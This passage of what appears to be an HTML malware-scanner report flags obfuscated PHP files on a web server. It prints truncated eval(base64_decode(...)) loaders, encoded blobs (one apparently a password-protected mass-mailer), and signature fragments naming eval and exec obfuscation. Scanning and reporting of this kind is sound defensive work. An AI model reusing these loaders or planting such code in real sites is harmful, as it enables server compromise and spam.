</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9wZW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ff4f5344 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ff4f5344)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">FycmF5X</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_106").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/gykbt.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 52.73 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:17:22</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:17:22</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 12</span><br><table id="file_107" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'4tNCPdUMNHGp37TLg3k6pPY5CIf6KWFdMqFEChJKXgZbi1BELpXmoM6ztMvoPnWg4eQUvTkc3PmAcwmls4bLBEQTSX1ckJGas66NtmwXAaljK4uUMePcJnGVpTYHwRtF3uTXMQDYJ2O8umyGtGsMsdkHxFjTSqmY1beQbJ7x0Ls9WyJ6ASK9QrEzGTf7IdPIPre8mqhI9eodyFMNj9YGRJDn4CcfJ2kg2eIoDbWPphXTbRPGymWPdoz2ZTpl06XQOtLLx7gsxvK3Irk9BTH1PqIsFBobKuAAvoc0SoCKu93DeTNctdZDxvZmgGsswABEIsOaUOsA2MUKfu9SxAH8JNoIXBOCmP6yV9cgTI617pcLxXozLLp4CBgY6DKMgckypa8MEWDrpi0uDksDJcp9nY1MVP05l9w4HNHAr3s0crA8C0jhvHHHTYlLPxeNcFoVSCkMXiWORKVrbYrMaYRShWQq0pJFhNkC7vDJ1G0TBv51pj82gTS...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 exec_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RkRP</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 80e70adc <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 80e70adc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700"><?</span><span style="color: #0000BB">php<br /></span><span style="color: #007700">eval</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ldmFs</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">V2YW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_107").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/jilbl.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 216.49 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-31 20:53:30</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-31 20:53:30</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 20</span><br><table id="file_108" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 162cf671 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 162cf671)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">hcnJheV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 407651f7 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 407651f7)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">wcmludG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7186bb8d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7186bb8d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RfUE9TV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">N0cl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7f5d33bf <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7f5d33bf)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">JF9SRVFVRVNU</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">leGVjK</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">pbmNsdWRl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">c3Rhd</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3Blb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Z1bmN0aW9u</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VjaG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign e6546205 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: e6546205)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">kX1BPU1</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9wZW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ff4f5344 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ff4f5344)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">FycmF5X</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_108").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/lrctx.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 70.78 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:17:23</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:17:23</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 8</span><br><table id="file_109" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5F</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$o</span><span style="color: #007700">(</span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOEx...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">laVE</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev exec_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cExE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3BLb</span>
</span>
